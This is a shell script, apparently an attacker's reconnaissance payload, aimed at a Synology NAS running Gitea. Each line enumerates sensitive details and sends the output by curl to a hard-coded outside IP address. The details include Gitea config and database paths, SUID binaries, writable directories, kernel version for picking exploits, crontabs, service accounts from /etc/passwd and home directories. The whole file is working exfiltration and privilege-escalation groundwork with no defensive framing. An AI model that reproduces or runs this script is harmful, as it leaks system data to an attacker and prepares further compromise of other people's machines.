#!/bin/sh
# Find actual gitea config
find /volume1/@appdata/gitea -name 'app.ini' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_ini
find /volume1/@apphome/gitea -name 'app.ini' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_ini2
find /var/packages/gitea -name 'app.ini' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_ini3
# Synology tools
ls -la /usr/syno/bin/ 2>&1 | head -20 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/syno_bin
which synosudo 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/synosudo_which
ls -la /usr/syno/bin/synosudo 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/synosudo_ls
# SUID bins
find / -perm -4000 -type f -ls 2>&1 | head -30 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/suid_full
# Writable dirs
find /tmp -type d -writable 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/writable_tmp
ls -la /volume1/@apptemp/gitea/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/apptemp
# Gitea DB
find /volume1/@appdata/gitea -name 'gitea.db' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_db
find /volume1/@appdata/gitea -name '*.db' -type f 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/find_all_db
ls -la /volume1/@appdata/gitea/data/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_data
# Volume1 structure
ls -la /volume1/@appdata/ 2>&1 | head -20 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/appdata_ls
# Check if we can write to webroot
ls -la /volume1/@apphome/gitea/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/apphome
ls -la /volume1/web/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/web
# Kernel exploits
uname -a 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/uname
cat /proc/version 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/proc_version
# Cron
cat /etc/crontab 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/crontab
crontab -l 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/cron_user
# Syno sc- accounts
cat /etc/passwd | grep sc- | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/sc_accounts
# Check other git-shell users homes
ls -la /volume1/homes/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/homes